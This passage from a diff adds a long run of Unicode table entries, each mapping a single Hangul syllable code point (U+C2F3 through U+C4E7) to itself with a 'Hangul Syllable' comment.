+ ["\uC2F3", "\uC2F3"], /* Hangul Syllable */
+ ["\uC2F4", "\uC2F4"], /* Hangul Syllable */
+ ["\uC2F5", "\uC2F5"], /* Hangul Syllable */
+ ["\uC2F6", "\uC2F6"], /* Hangul Syllable */
+ ["\uC2F7", "\uC2F7"], /* Hangul Syllable */
+ ["\uC2F8", "\uC2F8"], /* Hangul Syllable */
+ ["\uC2F9", "\uC2F9"], /* Hangul Syllable */
+ ["\uC2FA", "\uC2FA"], /* Hangul Syllable */
+ ["\uC2FB", "\uC2FB"], /* Hangul Syllable */
+ ["\uC2FC", "\uC2FC"], /* Hangul Syllable */
+ ["\uC2FD", "\uC2FD"], /* Hangul Syllable */
+ ["\uC2FE", "\uC2FE"], /* Hangul Syllable */
+ ["\uC2FF", "\uC2FF"], /* Hangul Syllable */
+ ["\uC300", "\uC300"], /* Hangul Syllable */
+ ["\uC301", "\uC301"], /* Hangul Syllable */
+ ["\uC302", "\uC302"], /* Hangul Syllable */
+ ["\uC303", "\uC303"], /* Hangul Syllable */
+ ["\uC304", "\uC304"], /* Hangul Syllable */
+ ["\uC305", "\uC305"], /* Hangul Syllable */
+ ["\uC306", "\uC306"], /* Hangul Syllable */
+ ["\uC307", "\uC307"], /* Hangul Syllable */
+ ["\uC308", "\uC308"], /* Hangul Syllable */
+ ["\uC309", "\uC309"], /* Hangul Syllable */
+ ["\uC30A", "\uC30A"], /* Hangul Syllable */
+ ["\uC30B", "\uC30B"], /* Hangul Syllable */
+ ["\uC30C", "\uC30C"], /* Hangul Syllable */
+ ["\uC30D", "\uC30D"], /* Hangul Syllable */
+ ["\uC30E", "\uC30E"], /* Hangul Syllable */
+ ["\uC30F", "\uC30F"], /* Hangul Syllable */
+ ["\uC310", "\uC310"], /* Hangul Syllable */
+ ["\uC311", "\uC311"], /* Hangul Syllable */
+ ["\uC312", "\uC312"], /* Hangul Syllable */
+ ["\uC313", "\uC313"], /* Hangul Syllable */
+ ["\uC314", "\uC314"], /* Hangul Syllable */
+ ["\uC315", "\uC315"], /* Hangul Syllable */
+ ["\uC316", "\uC316"], /* Hangul Syllable */
+ ["\uC317", "\uC317"], /* Hangul Syllable */
+ ["\uC318", "\uC318"], /* Hangul Syllable */
+ ["\uC319", "\uC319"], /* Hangul Syllable */
+ ["\uC31A", "\uC31A"], /* Hangul Syllable */
+ ["\uC31B", "\uC31B"], /* Hangul Syllable */
+ ["\uC31C", "\uC31C"], /* Hangul Syllable */
+ ["\uC31D", "\uC31D"], /* Hangul Syllable */
+ ["\uC31E", "\uC31E"], /* Hangul Syllable */
+ ["\uC31F", "\uC31F"], /* Hangul Syllable */
+ ["\uC320", "\uC320"], /* Hangul Syllable */
+ ["\uC321", "\uC321"], /* Hangul Syllable */
+ ["\uC322", "\uC322"], /* Hangul Syllable */
+ ["\uC323", "\uC323"], /* Hangul Syllable */
+ ["\uC324", "\uC324"], /* Hangul Syllable */
+ ["\uC325", "\uC325"], /* Hangul Syllable */
+ ["\uC326", "\uC326"], /* Hangul Syllable */
+ ["\uC327", "\uC327"], /* Hangul Syllable */
+ ["\uC328", "\uC328"], /* Hangul Syllable */
+ ["\uC329", "\uC329"], /* Hangul Syllable */
+ ["\uC32A", "\uC32A"], /* Hangul Syllable */
+ ["\uC32B", "\uC32B"], /* Hangul Syllable */
+ ["\uC32C", "\uC32C"], /* Hangul Syllable */
+ ["\uC32D", "\uC32D"], /* Hangul Syllable */
+ ["\uC32E", "\uC32E"], /* Hangul Syllable */
+ ["\uC32F", "\uC32F"], /* Hangul Syllable */
+ ["\uC330", "\uC330"], /* Hangul Syllable */
+ ["\uC331", "\uC331"], /* Hangul Syllable */
+ ["\uC332", "\uC332"], /* Hangul Syllable */
+ ["\uC333", "\uC333"], /* Hangul Syllable */
+ ["\uC334", "\uC334"], /* Hangul Syllable */
+ ["\uC335", "\uC335"], /* Hangul Syllable */
+ ["\uC336", "\uC336"], /* Hangul Syllable */
+ ["\uC337", "\uC337"], /* Hangul Syllable */
+ ["\uC338", "\uC338"], /* Hangul Syllable */
+ ["\uC339", "\uC339"], /* Hangul Syllable */
+ ["\uC33A", "\uC33A"], /* Hangul Syllable */
+ ["\uC33B", "\uC33B"], /* Hangul Syllable */
+ ["\uC33C", "\uC33C"], /* Hangul Syllable */
+ ["\uC33D", "\uC33D"], /* Hangul Syllable */
+ ["\uC33E", "\uC33E"], /* Hangul Syllable */
+ ["\uC33F", "\uC33F"], /* Hangul Syllable */
+ ["\uC340", "\uC340"], /* Hangul Syllable */
+ ["\uC341", "\uC341"], /* Hangul Syllable */
+ ["\uC342", "\uC342"], /* Hangul Syllable */
+ ["\uC343", "\uC343"], /* Hangul Syllable */
+ ["\uC344", "\uC344"], /* Hangul Syllable */
+ ["\uC345", "\uC345"], /* Hangul Syllable */
+ ["\uC346", "\uC346"], /* Hangul Syllable */
+ ["\uC347", "\uC347"], /* Hangul Syllable */
+ ["\uC348", "\uC348"], /* Hangul Syllable */
+ ["\uC349", "\uC349"], /* Hangul Syllable */
+ ["\uC34A", "\uC34A"], /* Hangul Syllable */
+ ["\uC34B", "\uC34B"], /* Hangul Syllable */
+ ["\uC34C", "\uC34C"], /* Hangul Syllable */
+ ["\uC34D", "\uC34D"], /* Hangul Syllable */
+ ["\uC34E", "\uC34E"], /* Hangul Syllable */
+ ["\uC34F", "\uC34F"], /* Hangul Syllable */
+ ["\uC350", "\uC350"], /* Hangul Syllable */
+ ["\uC351", "\uC351"], /* Hangul Syllable */
+ ["\uC352", "\uC352"], /* Hangul Syllable */
+ ["\uC353", "\uC353"], /* Hangul Syllable */
+ ["\uC354", "\uC354"], /* Hangul Syllable */
+ ["\uC355", "\uC355"], /* Hangul Syllable */
+ ["\uC356", "\uC356"], /* Hangul Syllable */
+ ["\uC357", "\uC357"], /* Hangul Syllable */
+ ["\uC358", "\uC358"], /* Hangul Syllable */
+ ["\uC359", "\uC359"], /* Hangul Syllable */
+ ["\uC35A", "\uC35A"], /* Hangul Syllable */
+ ["\uC35B", "\uC35B"], /* Hangul Syllable */
+ ["\uC35C", "\uC35C"], /* Hangul Syllable */
+ ["\uC35D", "\uC35D"], /* Hangul Syllable */
+ ["\uC35E", "\uC35E"], /* Hangul Syllable */
+ ["\uC35F", "\uC35F"], /* Hangul Syllable */
+ ["\uC360", "\uC360"], /* Hangul Syllable */
+ ["\uC361", "\uC361"], /* Hangul Syllable */
+ ["\uC362", "\uC362"], /* Hangul Syllable */
+ ["\uC363", "\uC363"], /* Hangul Syllable */
+ ["\uC364", "\uC364"], /* Hangul Syllable */
+ ["\uC365", "\uC365"], /* Hangul Syllable */
+ ["\uC366", "\uC366"], /* Hangul Syllable */
+ ["\uC367", "\uC367"], /* Hangul Syllable */
+ ["\uC368", "\uC368"], /* Hangul Syllable */
+ ["\uC369", "\uC369"], /* Hangul Syllable */
+ ["\uC36A", "\uC36A"], /* Hangul Syllable */
+ ["\uC36B", "\uC36B"], /* Hangul Syllable */
+ ["\uC36C", "\uC36C"], /* Hangul Syllable */
+ ["\uC36D", "\uC36D"], /* Hangul Syllable */
+ ["\uC36E", "\uC36E"], /* Hangul Syllable */
+ ["\uC36F", "\uC36F"], /* Hangul Syllable */
+ ["\uC370", "\uC370"], /* Hangul Syllable */
+ ["\uC371", "\uC371"], /* Hangul Syllable */
+ ["\uC372", "\uC372"], /* Hangul Syllable */
+ ["\uC373", "\uC373"], /* Hangul Syllable */
+ ["\uC374", "\uC374"], /* Hangul Syllable */
+ ["\uC375", "\uC375"], /* Hangul Syllable */
+ ["\uC376", "\uC376"], /* Hangul Syllable */
+ ["\uC377", "\uC377"], /* Hangul Syllable */
+ ["\uC378", "\uC378"], /* Hangul Syllable */
+ ["\uC379", "\uC379"], /* Hangul Syllable */
+ ["\uC37A", "\uC37A"], /* Hangul Syllable */
+ ["\uC37B", "\uC37B"], /* Hangul Syllable */
+ ["\uC37C", "\uC37C"], /* Hangul Syllable */
+ ["\uC37D", "\uC37D"], /* Hangul Syllable */
+ ["\uC37E", "\uC37E"], /* Hangul Syllable */
+ ["\uC37F", "\uC37F"], /* Hangul Syllable */
+ ["\uC380", "\uC380"], /* Hangul Syllable */
+ ["\uC381", "\uC381"], /* Hangul Syllable */
+ ["\uC382", "\uC382"], /* Hangul Syllable */
+ ["\uC383", "\uC383"], /* Hangul Syllable */
+ ["\uC384", "\uC384"], /* Hangul Syllable */
+ ["\uC385", "\uC385"], /* Hangul Syllable */
+ ["\uC386", "\uC386"], /* Hangul Syllable */
+ ["\uC387", "\uC387"], /* Hangul Syllable */
+ ["\uC388", "\uC388"], /* Hangul Syllable */
+ ["\uC389", "\uC389"], /* Hangul Syllable */
+ ["\uC38A", "\uC38A"], /* Hangul Syllable */
+ ["\uC38B", "\uC38B"], /* Hangul Syllable */
+ ["\uC38C", "\uC38C"], /* Hangul Syllable */
+ ["\uC38D", "\uC38D"], /* Hangul Syllable */
+ ["\uC38E", "\uC38E"], /* Hangul Syllable */
+ ["\uC38F", "\uC38F"], /* Hangul Syllable */
+ ["\uC390", "\uC390"], /* Hangul Syllable */
+ ["\uC391", "\uC391"], /* Hangul Syllable */
+ ["\uC392", "\uC392"], /* Hangul Syllable */
+ ["\uC393", "\uC393"], /* Hangul Syllable */
+ ["\uC394", "\uC394"], /* Hangul Syllable */
+ ["\uC395", "\uC395"], /* Hangul Syllable */
+ ["\uC396", "\uC396"], /* Hangul Syllable */
+ ["\uC397", "\uC397"], /* Hangul Syllable */
+ ["\uC398", "\uC398"], /* Hangul Syllable */
+ ["\uC399", "\uC399"], /* Hangul Syllable */
+ ["\uC39A", "\uC39A"], /* Hangul Syllable */
+ ["\uC39B", "\uC39B"], /* Hangul Syllable */
+ ["\uC39C", "\uC39C"], /* Hangul Syllable */
+ ["\uC39D", "\uC39D"], /* Hangul Syllable */
+ ["\uC39E", "\uC39E"], /* Hangul Syllable */
+ ["\uC39F", "\uC39F"], /* Hangul Syllable */
+ ["\uC3A0", "\uC3A0"], /* Hangul Syllable */
+ ["\uC3A1", "\uC3A1"], /* Hangul Syllable */
+ ["\uC3A2", "\uC3A2"], /* Hangul Syllable */
+ ["\uC3A3", "\uC3A3"], /* Hangul Syllable */
+ ["\uC3A4", "\uC3A4"], /* Hangul Syllable */
+ ["\uC3A5", "\uC3A5"], /* Hangul Syllable */
+ ["\uC3A6", "\uC3A6"], /* Hangul Syllable */
+ ["\uC3A7", "\uC3A7"], /* Hangul Syllable */
+ ["\uC3A8", "\uC3A8"], /* Hangul Syllable */
+ ["\uC3A9", "\uC3A9"], /* Hangul Syllable */
+ ["\uC3AA", "\uC3AA"], /* Hangul Syllable */
+ ["\uC3AB", "\uC3AB"], /* Hangul Syllable */
+ ["\uC3AC", "\uC3AC"], /* Hangul Syllable */
+ ["\uC3AD", "\uC3AD"], /* Hangul Syllable */
+ ["\uC3AE", "\uC3AE"], /* Hangul Syllable */
+ ["\uC3AF", "\uC3AF"], /* Hangul Syllable */
+ ["\uC3B0", "\uC3B0"], /* Hangul Syllable */
+ ["\uC3B1", "\uC3B1"], /* Hangul Syllable */
+ ["\uC3B2", "\uC3B2"], /* Hangul Syllable */
+ ["\uC3B3", "\uC3B3"], /* Hangul Syllable */
+ ["\uC3B4", "\uC3B4"], /* Hangul Syllable */
+ ["\uC3B5", "\uC3B5"], /* Hangul Syllable */
+ ["\uC3B6", "\uC3B6"], /* Hangul Syllable */
+ ["\uC3B7", "\uC3B7"], /* Hangul Syllable */
+ ["\uC3B8", "\uC3B8"], /* Hangul Syllable */
+ ["\uC3B9", "\uC3B9"], /* Hangul Syllable */
+ ["\uC3BA", "\uC3BA"], /* Hangul Syllable */
+ ["\uC3BB", "\uC3BB"], /* Hangul Syllable */
+ ["\uC3BC", "\uC3BC"], /* Hangul Syllable */
+ ["\uC3BD", "\uC3BD"], /* Hangul Syllable */
+ ["\uC3BE", "\uC3BE"], /* Hangul Syllable */
+ ["\uC3BF", "\uC3BF"], /* Hangul Syllable */
+ ["\uC3C0", "\uC3C0"], /* Hangul Syllable */
+ ["\uC3C1", "\uC3C1"], /* Hangul Syllable */
+ ["\uC3C2", "\uC3C2"], /* Hangul Syllable */
+ ["\uC3C3", "\uC3C3"], /* Hangul Syllable */
+ ["\uC3C4", "\uC3C4"], /* Hangul Syllable */
+ ["\uC3C5", "\uC3C5"], /* Hangul Syllable */
+ ["\uC3C6", "\uC3C6"], /* Hangul Syllable */
+ ["\uC3C7", "\uC3C7"], /* Hangul Syllable */
+ ["\uC3C8", "\uC3C8"], /* Hangul Syllable */
+ ["\uC3C9", "\uC3C9"], /* Hangul Syllable */
+ ["\uC3CA", "\uC3CA"], /* Hangul Syllable */
+ ["\uC3CB", "\uC3CB"], /* Hangul Syllable */
+ ["\uC3CC", "\uC3CC"], /* Hangul Syllable */
+ ["\uC3CD", "\uC3CD"], /* Hangul Syllable */
+ ["\uC3CE", "\uC3CE"], /* Hangul Syllable */
+ ["\uC3CF", "\uC3CF"], /* Hangul Syllable */
+ ["\uC3D0", "\uC3D0"], /* Hangul Syllable */
+ ["\uC3D1", "\uC3D1"], /* Hangul Syllable */
+ ["\uC3D2", "\uC3D2"], /* Hangul Syllable */
+ ["\uC3D3", "\uC3D3"], /* Hangul Syllable */
+ ["\uC3D4", "\uC3D4"], /* Hangul Syllable */
+ ["\uC3D5", "\uC3D5"], /* Hangul Syllable */
+ ["\uC3D6", "\uC3D6"], /* Hangul Syllable */
+ ["\uC3D7", "\uC3D7"], /* Hangul Syllable */
+ ["\uC3D8", "\uC3D8"], /* Hangul Syllable */
+ ["\uC3D9", "\uC3D9"], /* Hangul Syllable */
+ ["\uC3DA", "\uC3DA"], /* Hangul Syllable */
+ ["\uC3DB", "\uC3DB"], /* Hangul Syllable */
+ ["\uC3DC", "\uC3DC"], /* Hangul Syllable */
+ ["\uC3DD", "\uC3DD"], /* Hangul Syllable */
+ ["\uC3DE", "\uC3DE"], /* Hangul Syllable */
+ ["\uC3DF", "\uC3DF"], /* Hangul Syllable */
+ ["\uC3E0", "\uC3E0"], /* Hangul Syllable */
+ ["\uC3E1", "\uC3E1"], /* Hangul Syllable */
+ ["\uC3E2", "\uC3E2"], /* Hangul Syllable */
+ ["\uC3E3", "\uC3E3"], /* Hangul Syllable */
+ ["\uC3E4", "\uC3E4"], /* Hangul Syllable */
+ ["\uC3E5", "\uC3E5"], /* Hangul Syllable */
+ ["\uC3E6", "\uC3E6"], /* Hangul Syllable */
+ ["\uC3E7", "\uC3E7"], /* Hangul Syllable */
+ ["\uC3E8", "\uC3E8"], /* Hangul Syllable */
+ ["\uC3E9", "\uC3E9"], /* Hangul Syllable */
+ ["\uC3EA", "\uC3EA"], /* Hangul Syllable */
+ ["\uC3EB", "\uC3EB"], /* Hangul Syllable */
+ ["\uC3EC", "\uC3EC"], /* Hangul Syllable */
+ ["\uC3ED", "\uC3ED"], /* Hangul Syllable */
+ ["\uC3EE", "\uC3EE"], /* Hangul Syllable */
+ ["\uC3EF", "\uC3EF"], /* Hangul Syllable */
+ ["\uC3F0", "\uC3F0"], /* Hangul Syllable */
+ ["\uC3F1", "\uC3F1"], /* Hangul Syllable */
+ ["\uC3F2", "\uC3F2"], /* Hangul Syllable */
+ ["\uC3F3", "\uC3F3"], /* Hangul Syllable */
+ ["\uC3F4", "\uC3F4"], /* Hangul Syllable */
+ ["\uC3F5", "\uC3F5"], /* Hangul Syllable */
+ ["\uC3F6", "\uC3F6"], /* Hangul Syllable */
+ ["\uC3F7", "\uC3F7"], /* Hangul Syllable */
+ ["\uC3F8", "\uC3F8"], /* Hangul Syllable */
+ ["\uC3F9", "\uC3F9"], /* Hangul Syllable */
+ ["\uC3FA", "\uC3FA"], /* Hangul Syllable */
+ ["\uC3FB", "\uC3FB"], /* Hangul Syllable */
+ ["\uC3FC", "\uC3FC"], /* Hangul Syllable */
+ ["\uC3FD", "\uC3FD"], /* Hangul Syllable */
+ ["\uC3FE", "\uC3FE"], /* Hangul Syllable */
+ ["\uC3FF", "\uC3FF"], /* Hangul Syllable */
+ ["\uC400", "\uC400"], /* Hangul Syllable */
+ ["\uC401", "\uC401"], /* Hangul Syllable */
+ ["\uC402", "\uC402"], /* Hangul Syllable */
+ ["\uC403", "\uC403"], /* Hangul Syllable */
+ ["\uC404", "\uC404"], /* Hangul Syllable */
+ ["\uC405", "\uC405"], /* Hangul Syllable */
+ ["\uC406", "\uC406"], /* Hangul Syllable */
+ ["\uC407", "\uC407"], /* Hangul Syllable */
+ ["\uC408", "\uC408"], /* Hangul Syllable */
+ ["\uC409", "\uC409"], /* Hangul Syllable */
+ ["\uC40A", "\uC40A"], /* Hangul Syllable */
+ ["\uC40B", "\uC40B"], /* Hangul Syllable */
+ ["\uC40C", "\uC40C"], /* Hangul Syllable */
+ ["\uC40D", "\uC40D"], /* Hangul Syllable */
+ ["\uC40E", "\uC40E"], /* Hangul Syllable */
+ ["\uC40F", "\uC40F"], /* Hangul Syllable */
+ ["\uC410", "\uC410"], /* Hangul Syllable */
+ ["\uC411", "\uC411"], /* Hangul Syllable */
+ ["\uC412", "\uC412"], /* Hangul Syllable */
+ ["\uC413", "\uC413"], /* Hangul Syllable */
+ ["\uC414", "\uC414"], /* Hangul Syllable */
+ ["\uC415", "\uC415"], /* Hangul Syllable */
+ ["\uC416", "\uC416"], /* Hangul Syllable */
+ ["\uC417", "\uC417"], /* Hangul Syllable */
+ ["\uC418", "\uC418"], /* Hangul Syllable */
+ ["\uC419", "\uC419"], /* Hangul Syllable */
+ ["\uC41A", "\uC41A"], /* Hangul Syllable */
+ ["\uC41B", "\uC41B"], /* Hangul Syllable */
+ ["\uC41C", "\uC41C"], /* Hangul Syllable */
+ ["\uC41D", "\uC41D"], /* Hangul Syllable */
+ ["\uC41E", "\uC41E"], /* Hangul Syllable */
+ ["\uC41F", "\uC41F"], /* Hangul Syllable */
+ ["\uC420", "\uC420"], /* Hangul Syllable */
+ ["\uC421", "\uC421"], /* Hangul Syllable */
+ ["\uC422", "\uC422"], /* Hangul Syllable */
+ ["\uC423", "\uC423"], /* Hangul Syllable */
+ ["\uC424", "\uC424"], /* Hangul Syllable */
+ ["\uC425", "\uC425"], /* Hangul Syllable */
+ ["\uC426", "\uC426"], /* Hangul Syllable */
+ ["\uC427", "\uC427"], /* Hangul Syllable */
+ ["\uC428", "\uC428"], /* Hangul Syllable */
+ ["\uC429", "\uC429"], /* Hangul Syllable */
+ ["\uC42A", "\uC42A"], /* Hangul Syllable */
+ ["\uC42B", "\uC42B"], /* Hangul Syllable */
+ ["\uC42C", "\uC42C"], /* Hangul Syllable */
+ ["\uC42D", "\uC42D"], /* Hangul Syllable */
+ ["\uC42E", "\uC42E"], /* Hangul Syllable */
+ ["\uC42F", "\uC42F"], /* Hangul Syllable */
+ ["\uC430", "\uC430"], /* Hangul Syllable */
+ ["\uC431", "\uC431"], /* Hangul Syllable */
+ ["\uC432", "\uC432"], /* Hangul Syllable */
+ ["\uC433", "\uC433"], /* Hangul Syllable */
+ ["\uC434", "\uC434"], /* Hangul Syllable */
+ ["\uC435", "\uC435"], /* Hangul Syllable */
+ ["\uC436", "\uC436"], /* Hangul Syllable */
+ ["\uC437", "\uC437"], /* Hangul Syllable */
+ ["\uC438", "\uC438"], /* Hangul Syllable */
+ ["\uC439", "\uC439"], /* Hangul Syllable */
+ ["\uC43A", "\uC43A"], /* Hangul Syllable */
+ ["\uC43B", "\uC43B"], /* Hangul Syllable */
+ ["\uC43C", "\uC43C"], /* Hangul Syllable */
+ ["\uC43D", "\uC43D"], /* Hangul Syllable */
+ ["\uC43E", "\uC43E"], /* Hangul Syllable */
+ ["\uC43F", "\uC43F"], /* Hangul Syllable */
+ ["\uC440", "\uC440"], /* Hangul Syllable */
+ ["\uC441", "\uC441"], /* Hangul Syllable */
+ ["\uC442", "\uC442"], /* Hangul Syllable */
+ ["\uC443", "\uC443"], /* Hangul Syllable */
+ ["\uC444", "\uC444"], /* Hangul Syllable */
+ ["\uC445", "\uC445"], /* Hangul Syllable */
+ ["\uC446", "\uC446"], /* Hangul Syllable */
+ ["\uC447", "\uC447"], /* Hangul Syllable */
+ ["\uC448", "\uC448"], /* Hangul Syllable */
+ ["\uC449", "\uC449"], /* Hangul Syllable */
+ ["\uC44A", "\uC44A"], /* Hangul Syllable */
+ ["\uC44B", "\uC44B"], /* Hangul Syllable */
+ ["\uC44C", "\uC44C"], /* Hangul Syllable */
+ ["\uC44D", "\uC44D"], /* Hangul Syllable */
+ ["\uC44E", "\uC44E"], /* Hangul Syllable */
+ ["\uC44F", "\uC44F"], /* Hangul Syllable */
+ ["\uC450", "\uC450"], /* Hangul Syllable */
+ ["\uC451", "\uC451"], /* Hangul Syllable */
+ ["\uC452", "\uC452"], /* Hangul Syllable */
+ ["\uC453", "\uC453"], /* Hangul Syllable */
+ ["\uC454", "\uC454"], /* Hangul Syllable */
+ ["\uC455", "\uC455"], /* Hangul Syllable */
+ ["\uC456", "\uC456"], /* Hangul Syllable */
+ ["\uC457", "\uC457"], /* Hangul Syllable */
+ ["\uC458", "\uC458"], /* Hangul Syllable */
+ ["\uC459", "\uC459"], /* Hangul Syllable */
+ ["\uC45A", "\uC45A"], /* Hangul Syllable */
+ ["\uC45B", "\uC45B"], /* Hangul Syllable */
+ ["\uC45C", "\uC45C"], /* Hangul Syllable */
+ ["\uC45D", "\uC45D"], /* Hangul Syllable */
+ ["\uC45E", "\uC45E"], /* Hangul Syllable */
+ ["\uC45F", "\uC45F"], /* Hangul Syllable */
+ ["\uC460", "\uC460"], /* Hangul Syllable */
+ ["\uC461", "\uC461"], /* Hangul Syllable */
+ ["\uC462", "\uC462"], /* Hangul Syllable */
+ ["\uC463", "\uC463"], /* Hangul Syllable */
+ ["\uC464", "\uC464"], /* Hangul Syllable */
+ ["\uC465", "\uC465"], /* Hangul Syllable */
+ ["\uC466", "\uC466"], /* Hangul Syllable */
+ ["\uC467", "\uC467"], /* Hangul Syllable */
+ ["\uC468", "\uC468"], /* Hangul Syllable */
+ ["\uC469", "\uC469"], /* Hangul Syllable */
+ ["\uC46A", "\uC46A"], /* Hangul Syllable */
+ ["\uC46B", "\uC46B"], /* Hangul Syllable */
+ ["\uC46C", "\uC46C"], /* Hangul Syllable */
+ ["\uC46D", "\uC46D"], /* Hangul Syllable */
+ ["\uC46E", "\uC46E"], /* Hangul Syllable */
+ ["\uC46F", "\uC46F"], /* Hangul Syllable */
+ ["\uC470", "\uC470"], /* Hangul Syllable */
+ ["\uC471", "\uC471"], /* Hangul Syllable */
+ ["\uC472", "\uC472"], /* Hangul Syllable */
+ ["\uC473", "\uC473"], /* Hangul Syllable */
+ ["\uC474", "\uC474"], /* Hangul Syllable */
+ ["\uC475", "\uC475"], /* Hangul Syllable */
+ ["\uC476", "\uC476"], /* Hangul Syllable */
+ ["\uC477", "\uC477"], /* Hangul Syllable */
+ ["\uC478", "\uC478"], /* Hangul Syllable */
+ ["\uC479", "\uC479"], /* Hangul Syllable */
+ ["\uC47A", "\uC47A"], /* Hangul Syllable */
+ ["\uC47B", "\uC47B"], /* Hangul Syllable */
+ ["\uC47C", "\uC47C"], /* Hangul Syllable */
+ ["\uC47D", "\uC47D"], /* Hangul Syllable */
+ ["\uC47E", "\uC47E"], /* Hangul Syllable */
+ ["\uC47F", "\uC47F"], /* Hangul Syllable */
+ ["\uC480", "\uC480"], /* Hangul Syllable */
+ ["\uC481", "\uC481"], /* Hangul Syllable */
+ ["\uC482", "\uC482"], /* Hangul Syllable */
+ ["\uC483", "\uC483"], /* Hangul Syllable */
+ ["\uC484", "\uC484"], /* Hangul Syllable */
+ ["\uC485", "\uC485"], /* Hangul Syllable */
+ ["\uC486", "\uC486"], /* Hangul Syllable */
+ ["\uC487", "\uC487"], /* Hangul Syllable */
+ ["\uC488", "\uC488"], /* Hangul Syllable */
+ ["\uC489", "\uC489"], /* Hangul Syllable */
+ ["\uC48A", "\uC48A"], /* Hangul Syllable */
+ ["\uC48B", "\uC48B"], /* Hangul Syllable */
+ ["\uC48C", "\uC48C"], /* Hangul Syllable */
+ ["\uC48D", "\uC48D"], /* Hangul Syllable */
+ ["\uC48E", "\uC48E"], /* Hangul Syllable */
+ ["\uC48F", "\uC48F"], /* Hangul Syllable */
+ ["\uC490", "\uC490"], /* Hangul Syllable */
+ ["\uC491", "\uC491"], /* Hangul Syllable */
+ ["\uC492", "\uC492"], /* Hangul Syllable */
+ ["\uC493", "\uC493"], /* Hangul Syllable */
+ ["\uC494", "\uC494"], /* Hangul Syllable */
+ ["\uC495", "\uC495"], /* Hangul Syllable */
+ ["\uC496", "\uC496"], /* Hangul Syllable */
+ ["\uC497", "\uC497"], /* Hangul Syllable */
+ ["\uC498", "\uC498"], /* Hangul Syllable */
+ ["\uC499", "\uC499"], /* Hangul Syllable */
+ ["\uC49A", "\uC49A"], /* Hangul Syllable */
+ ["\uC49B", "\uC49B"], /* Hangul Syllable */
+ ["\uC49C", "\uC49C"], /* Hangul Syllable */
+ ["\uC49D", "\uC49D"], /* Hangul Syllable */
+ ["\uC49E", "\uC49E"], /* Hangul Syllable */
+ ["\uC49F", "\uC49F"], /* Hangul Syllable */
+ ["\uC4A0", "\uC4A0"], /* Hangul Syllable */
+ ["\uC4A1", "\uC4A1"], /* Hangul Syllable */
+ ["\uC4A2", "\uC4A2"], /* Hangul Syllable */
+ ["\uC4A3", "\uC4A3"], /* Hangul Syllable */
+ ["\uC4A4", "\uC4A4"], /* Hangul Syllable */
+ ["\uC4A5", "\uC4A5"], /* Hangul Syllable */
+ ["\uC4A6", "\uC4A6"], /* Hangul Syllable */
+ ["\uC4A7", "\uC4A7"], /* Hangul Syllable */
+ ["\uC4A8", "\uC4A8"], /* Hangul Syllable */
+ ["\uC4A9", "\uC4A9"], /* Hangul Syllable */
+ ["\uC4AA", "\uC4AA"], /* Hangul Syllable */
+ ["\uC4AB", "\uC4AB"], /* Hangul Syllable */
+ ["\uC4AC", "\uC4AC"], /* Hangul Syllable */
+ ["\uC4AD", "\uC4AD"], /* Hangul Syllable */
+ ["\uC4AE", "\uC4AE"], /* Hangul Syllable */
+ ["\uC4AF", "\uC4AF"], /* Hangul Syllable */
+ ["\uC4B0", "\uC4B0"], /* Hangul Syllable */
+ ["\uC4B1", "\uC4B1"], /* Hangul Syllable */
+ ["\uC4B2", "\uC4B2"], /* Hangul Syllable */
+ ["\uC4B3", "\uC4B3"], /* Hangul Syllable */
+ ["\uC4B4", "\uC4B4"], /* Hangul Syllable */
+ ["\uC4B5", "\uC4B5"], /* Hangul Syllable */
+ ["\uC4B6", "\uC4B6"], /* Hangul Syllable */
+ ["\uC4B7", "\uC4B7"], /* Hangul Syllable */
+ ["\uC4B8", "\uC4B8"], /* Hangul Syllable */
+ ["\uC4B9", "\uC4B9"], /* Hangul Syllable */
+ ["\uC4BA", "\uC4BA"], /* Hangul Syllable */
+ ["\uC4BB", "\uC4BB"], /* Hangul Syllable */
+ ["\uC4BC", "\uC4BC"], /* Hangul Syllable */
+ ["\uC4BD", "\uC4BD"], /* Hangul Syllable */
+ ["\uC4BE", "\uC4BE"], /* Hangul Syllable */
+ ["\uC4BF", "\uC4BF"], /* Hangul Syllable */
+ ["\uC4C0", "\uC4C0"], /* Hangul Syllable */
+ ["\uC4C1", "\uC4C1"], /* Hangul Syllable */
+ ["\uC4C2", "\uC4C2"], /* Hangul Syllable */
+ ["\uC4C3", "\uC4C3"], /* Hangul Syllable */
+ ["\uC4C4", "\uC4C4"], /* Hangul Syllable */
+ ["\uC4C5", "\uC4C5"], /* Hangul Syllable */
+ ["\uC4C6", "\uC4C6"], /* Hangul Syllable */
+ ["\uC4C7", "\uC4C7"], /* Hangul Syllable */
+ ["\uC4C8", "\uC4C8"], /* Hangul Syllable */
+ ["\uC4C9", "\uC4C9"], /* Hangul Syllable */
+ ["\uC4CA", "\uC4CA"], /* Hangul Syllable */
+ ["\uC4CB", "\uC4CB"], /* Hangul Syllable */
+ ["\uC4CC", "\uC4CC"], /* Hangul Syllable */
+ ["\uC4CD", "\uC4CD"], /* Hangul Syllable */
+ ["\uC4CE", "\uC4CE"], /* Hangul Syllable */
+ ["\uC4CF", "\uC4CF"], /* Hangul Syllable */
+ ["\uC4D0", "\uC4D0"], /* Hangul Syllable */
+ ["\uC4D1", "\uC4D1"], /* Hangul Syllable */
+ ["\uC4D2", "\uC4D2"], /* Hangul Syllable */
+ ["\uC4D3", "\uC4D3"], /* Hangul Syllable */
+ ["\uC4D4", "\uC4D4"], /* Hangul Syllable */
+ ["\uC4D5", "\uC4D5"], /* Hangul Syllable */
+ ["\uC4D6", "\uC4D6"], /* Hangul Syllable */
+ ["\uC4D7", "\uC4D7"], /* Hangul Syllable */
+ ["\uC4D8", "\uC4D8"], /* Hangul Syllable */
+ ["\uC4D9", "\uC4D9"], /* Hangul Syllable */
+ ["\uC4DA", "\uC4DA"], /* Hangul Syllable */
+ ["\uC4DB", "\uC4DB"], /* Hangul Syllable */
+ ["\uC4DC", "\uC4DC"], /* Hangul Syllable */
+ ["\uC4DD", "\uC4DD"], /* Hangul Syllable */
+ ["\uC4DE", "\uC4DE"], /* Hangul Syllable */
+ ["\uC4DF", "\uC4DF"], /* Hangul Syllable */
+ ["\uC4E0", "\uC4E0"], /* Hangul Syllable */
+ ["\uC4E1", "\uC4E1"], /* Hangul Syllable */
+ ["\uC4E2", "\uC4E2"], /* Hangul Syllable */
+ ["\uC4E3", "\uC4E3"], /* Hangul Syllable */
+ ["\uC4E4", "\uC4E4"], /* Hangul Syllable */
+ ["\uC4E5", "\uC4E5"], /* Hangul Syllable */
+ ["\uC4E6", "\uC4E6"], /* Hangul Syllable */
+ ["\uC4E7", "\uC4E7"], /* Hangul Syllable */
